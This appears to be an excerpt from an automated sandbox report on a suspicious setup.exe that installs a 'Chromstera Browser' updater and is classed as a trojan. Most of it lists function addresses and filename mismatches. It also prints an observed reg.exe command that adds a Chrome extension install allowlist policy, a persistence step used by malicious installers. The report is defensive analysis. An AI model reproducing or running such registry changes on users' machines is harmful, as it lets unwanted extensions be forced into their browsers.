Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CD3DC0	0_2_00CD3DC0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D260D0	0_2_00D260D0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BA3000	0_2_00BA3000
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00DA3174	0_2_00DA3174
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC2290	0_2_00BC2290
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D9830B	0_2_00D9830B
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BCF410	0_2_00BCF410
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC0500	0_2_00BC0500
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BD8630	0_2_00BD8630
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BA7620	0_2_00BA7620
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BD9710	0_2_00BD9710
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BCA820	0_2_00BCA820
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CAA9B0	0_2_00CAA9B0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D8891C	0_2_00D8891C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC9AD0	0_2_00BC9AD0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BDCBB0	0_2_00BDCBB0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BA5C82	0_2_00BA5C82
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BD0C80	0_2_00BD0C80
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC5CE0	0_2_00BC5CE0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CD1C40	0_2_00CD1C40
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00C1ADE0	0_2_00C1ADE0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D9CD89	0_2_00D9CD89
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BCCE41	0_2_00BCCE41
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BC9FF0	0_2_00BC9FF0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D8FF60	0_2_00D8FF60
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D260D0	3_2_00D260D0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BA3000	3_2_00BA3000
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BCF410	3_2_00BCF410
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC0500	3_2_00BC0500
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BD8630	3_2_00BD8630
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BA7620	3_2_00BA7620
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BD9710	3_2_00BD9710
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BCA820	3_2_00BCA820
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00CAA9B0	3_2_00CAA9B0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC9AD0	3_2_00BC9AD0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BDCBB0	3_2_00BDCBB0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BA5C82	3_2_00BA5C82
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BD0C80	3_2_00BD0C80
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC5CE0	3_2_00BC5CE0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00C1ADE0	3_2_00C1ADE0
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D9CD89	3_2_00D9CD89
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BCCE41	3_2_00BCCE41
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BC9FF0	3_2_00BC9FF0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0010E060	8_2_0010E060
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0010EF20	8_2_0010EF20
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0014D3B0	8_2_0014D3B0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0012B6E0	8_2_0012B6E0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0012BA80	8_2_0012BA80
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00176020	8_2_00176020
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00132060	8_2_00132060
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0017406E	8_2_0017406E
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0017010E	8_2_0017010E
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00178158	8_2_00178158
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_001304D0	8_2_001304D0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00136580	8_2_00136580
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00108820	8_2_00108820
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00188AF7	8_2_00188AF7
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000FCBD0	8_2_000FCBD0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00106E10	8_2_00106E10
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0016B010	8_2_0016B010
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0011D0B0	8_2_0011D0B0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0013D2E0	8_2_0013D2E0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000DF340	8_2_000DF340
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000EB3C0	8_2_000EB3C0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000F7470	8_2_000F7470
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_001834A9	8_2_001834A9
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0017D4DA	8_2_0017D4DA
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000E3AD0	8_2_000E3AD0
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000DFD30	8_2_000DFD30
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_000E3D30	8_2_000E3D30
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0018DD70	8_2_0018DD70
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0016FD80	8_2_0016FD80
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00181EE7	8_2_00181EE7
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_0011BF20	8_2_0011BF20
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C096D60	16_2_00007FF77C096D60
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0EC518	16_2_00007FF77C0EC518
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D0D64	16_2_00007FF77C0D0D64
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0BF558	16_2_00007FF77C0BF558
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0DBDCC	16_2_00007FF77C0DBDCC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0965F0	16_2_00007FF77C0965F0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D75E0	16_2_00007FF77C0D75E0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E3644	16_2_00007FF77C0E3644
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E0EB4	16_2_00007FF77C0E0EB4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C06A0	16_2_00007FF77C0C06A0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D56CC	16_2_00007FF77C0D56CC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B56F4	16_2_00007FF77C0B56F4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A7EE8	16_2_00007FF77C0A7EE8
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C3714	16_2_00007FF77C0C3714
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E5704	16_2_00007FF77C0E5704
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C097F30	16_2_00007FF77C097F30
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0AA734	16_2_00007FF77C0AA734
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D0F50	16_2_00007FF77C0D0F50
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A2768	16_2_00007FF77C0A2768
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C6F8C	16_2_00007FF77C0C6F8C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C09CFD0	16_2_00007FF77C09CFD0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E2FC4	16_2_00007FF77C0E2FC4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D1FB8	16_2_00007FF77C0D1FB8
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D2FE4	16_2_00007FF77C0D2FE4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E5FDC	16_2_00007FF77C0E5FDC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B9888	16_2_00007FF77C0B9888
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A68B0	16_2_00007FF77C0A68B0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B809C	16_2_00007FF77C0B809C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C60BC	16_2_00007FF77C0C60BC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E00EC	16_2_00007FF77C0E00EC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D90F8	16_2_00007FF77C0D90F8
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C514C	16_2_00007FF77C0C514C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D1138	16_2_00007FF77C0D1138
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0DA964	16_2_00007FF77C0DA964
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0AA15C	16_2_00007FF77C0AA15C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C4980	16_2_00007FF77C0C4980
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A59A8	16_2_00007FF77C0A59A8
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D51D4	16_2_00007FF77C0D51D4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A49BC	16_2_00007FF77C0A49BC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0BD1E8	16_2_00007FF77C0BD1E8
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A3A20	16_2_00007FF77C0A3A20
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0AEA4C	16_2_00007FF77C0AEA4C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0DBA94	16_2_00007FF77C0DBA94
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0AFAD0	16_2_00007FF77C0AFAD0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E2B14	16_2_00007FF77C0E2B14
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B4314	16_2_00007FF77C0B4314
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D1324	16_2_00007FF77C0D1324
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B0B54	16_2_00007FF77C0B0B54
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D0B7C	16_2_00007FF77C0D0B7C
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B33A4	16_2_00007FF77C0B33A4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B73F4	16_2_00007FF77C0B73F4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0A9BF4	16_2_00007FF77C0A9BF4
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0BC3DC	16_2_00007FF77C0BC3DC
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0C1C48	16_2_00007FF77C0C1C48
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0AA438	16_2_00007FF77C0AA438
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0B1C38	16_2_00007FF77C0B1C38
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0E5488	16_2_00007FF77C0E5488
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0BDC80	16_2_00007FF77C0BDC80
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C095CA0	16_2_00007FF77C095CA0
Source: C:\Windows\Installer\MSI4739.tmp	Code function: 16_2_00007FF77C0D150C	16_2_00007FF77C0D150C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4756D60	54_2_00007FF7A4756D60
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A479BDCC	54_2_00007FF7A479BDCC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47975E0	54_2_00007FF7A47975E0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47565F0	54_2_00007FF7A47565F0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47AC518	54_2_00007FF7A47AC518
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4790D64	54_2_00007FF7A4790D64
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A477F558	54_2_00007FF7A477F558
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47806A0	54_2_00007FF7A47806A0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A0EB4	54_2_00007FF7A47A0EB4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47956CC	54_2_00007FF7A47956CC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4767EE8	54_2_00007FF7A4767EE8
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47756F4	54_2_00007FF7A47756F4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A5704	54_2_00007FF7A47A5704
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4783714	54_2_00007FF7A4783714
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A3644	54_2_00007FF7A47A3644
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A2FC4	54_2_00007FF7A47A2FC4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4791FB8	54_2_00007FF7A4791FB8
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A475CFD0	54_2_00007FF7A475CFD0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4792FE4	54_2_00007FF7A4792FE4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A5FDC	54_2_00007FF7A47A5FDC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A476A734	54_2_00007FF7A476A734
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4757F30	54_2_00007FF7A4757F30
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4790F50	54_2_00007FF7A4790F50
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4762768	54_2_00007FF7A4762768
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4786F8C	54_2_00007FF7A4786F8C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A477809C	54_2_00007FF7A477809C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47668B0	54_2_00007FF7A47668B0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47860BC	54_2_00007FF7A47860BC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A00EC	54_2_00007FF7A47A00EC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47990F8	54_2_00007FF7A47990F8
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4779888	54_2_00007FF7A4779888
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47659A8	54_2_00007FF7A47659A8
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47649BC	54_2_00007FF7A47649BC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47951D4	54_2_00007FF7A47951D4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A477D1E8	54_2_00007FF7A477D1E8
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4791138	54_2_00007FF7A4791138
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A478514C	54_2_00007FF7A478514C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A476A15C	54_2_00007FF7A476A15C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A479A964	54_2_00007FF7A479A964
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4784980	54_2_00007FF7A4784980
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A476FAD0	54_2_00007FF7A476FAD0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A2B14	54_2_00007FF7A47A2B14
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4774314	54_2_00007FF7A4774314
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4763A20	54_2_00007FF7A4763A20
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A476EA4C	54_2_00007FF7A476EA4C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A479BA94	54_2_00007FF7A479BA94
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47733A4	54_2_00007FF7A47733A4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A477C3DC	54_2_00007FF7A477C3DC
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47773F4	54_2_00007FF7A47773F4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4769BF4	54_2_00007FF7A4769BF4
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4791324	54_2_00007FF7A4791324
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4770B54	54_2_00007FF7A4770B54
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4790B7C	54_2_00007FF7A4790B7C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4755CA0	54_2_00007FF7A4755CA0
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A479150C	54_2_00007FF7A479150C
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A476A438	54_2_00007FF7A476A438
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4771C38	54_2_00007FF7A4771C38
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A4781C48	54_2_00007FF7A4781C48
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A477DC80	54_2_00007FF7A477DC80
Source: C:\Windows\Installer\MSIFB77.tmp	Code function: 54_2_00007FF7A47A5488	54_2_00007FF7A47A5488

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00D7D791 appears 36 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00BA8DB0 appears 450 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00BA8300 appears 112 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00D80C10 appears 39 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00BA83A0 appears 60 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00D80118 appears 59 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00BAA830 appears 33 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00CC9050 appears 56 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 00D99A1E appears 34 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 000D43D0 appears 31 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 000D3470 appears 180 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 000D2420 appears 160 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 00168350 appears 57 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 00167FE3 appears 96 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 000D35E0 appears 194 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 000D8750 appears 36 times
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: String function: 00168016 appears 67 times

Sample file is different than original file name gathered from version info

Source: setup.exe, 00000000.00000003.1719958497.0000000005251000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewininet.dllD vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.0000000006B17000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.0000000006B17000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameaischeduler.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.0000000006B17000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenamePrereq.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.0000000006B17000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenamePowerShellScriptLauncher.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.00000000067F0000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameviewer.exeF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.00000000067F0000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameMsiTempFiles.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.00000000067F0000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenamelzmaextractor.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2952945604.00000000067F0000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameChromnius-Main.exeF vs setup.exe
Source: setup.exe, 00000000.00000002.2952714019.000000000628A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameChromnius- vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004B90000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameviewer.exeF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004B90000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameMsiTempFiles.dllF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004B90000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenamelzmaextractor.dllF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004B90000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004EB7000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004EB7000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenameaischeduler.dllF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004EB7000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenamePrereq.dllF vs setup.exe
Source: setup.exe, 00000003.00000002.2951398540.0000000004EB7000.00000002.00000001.00040000.00000012.sdmp	Binary or memory string: OriginalFilenamePowerShellScriptLauncher.dllF vs setup.exe
Source: setup.exe, 00000003.00000000.1739888347.0000000000EAA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameChromnius-Main.exeF vs setup.exe
Source: setup.exe, 00000003.00000003.1746421738.00000000039F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewininet.dllD vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFileNameChromnius-Main.exeF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenameviewer.exeF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenameMsiTempFiles.dllF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenamelzmaextractor.dllF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenameAICustAct.dllF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenameaischeduler.dllF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenamePrereq.dllF vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenamePowerShellScriptLauncher.dllF vs setup.exe

Uses 32bit PE files

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Uses reg.exe to modify the Windows registry

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f

Source: shi3105.tmp.0.dr

Binary string: \Device\NameResTrk\RecordNrtCloneOpenPacket

Source: classification engine

Classification label: mal81.troj.evad.winEXE@150/138@11/5

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00CCEF90 FormatMessageW,GetLastError,

0_2_00CCEF90

Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

Code function: 8_2_00147B20 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,GetWindowThreadProcessId,GetWindowTextW,GetWindowLongW,GetWindowLongW,GetWindowLongW,GetWindowLongW,

8_2_00147B20

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00D16E40 CoCreateInstance,

0_2_00D16E40

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00BAA160 LoadResource,LockResource,SizeofResource,

0_2_00BAA160

